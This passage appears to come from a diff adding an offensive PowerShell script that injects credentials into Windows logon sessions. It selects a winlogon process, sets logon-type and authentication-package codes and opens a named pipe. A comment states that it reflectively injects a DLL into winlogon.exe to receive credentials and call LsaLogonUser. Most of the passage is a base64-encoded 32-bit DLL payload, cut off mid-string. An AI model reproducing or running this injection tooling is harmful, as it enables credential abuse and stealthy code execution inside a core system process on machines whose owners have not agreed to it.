"winlogon")[0].Id + } + + #Get a ushort representing the logontype + [Byte]$LogonTypeNum = 0x0 + switch ($LogonType) + { + "Interactive" {$LogonTypeNum = 2} + "NetworkCleartext" {$LogonTypeNum = 8} + "RemoteInteractive" {$LogonTypeNum = 10} + } + + $AuthPackageNum = 0 + #Get a ushort representing the authentication package to use + switch ($AuthPackage) + { + "Msv1_0" {$AuthPackageNum = 1} + "Kerberos" {$AuthPackageNum = 2} + } + + + #Main + try + { + $Pipe = Create-NamedPipe + + #Reflectively inject a DLL in to the new winlogon process which will receive credentials and call LsaLogonUser from within winlogon.exe + $Logon32Bit_Base64 = "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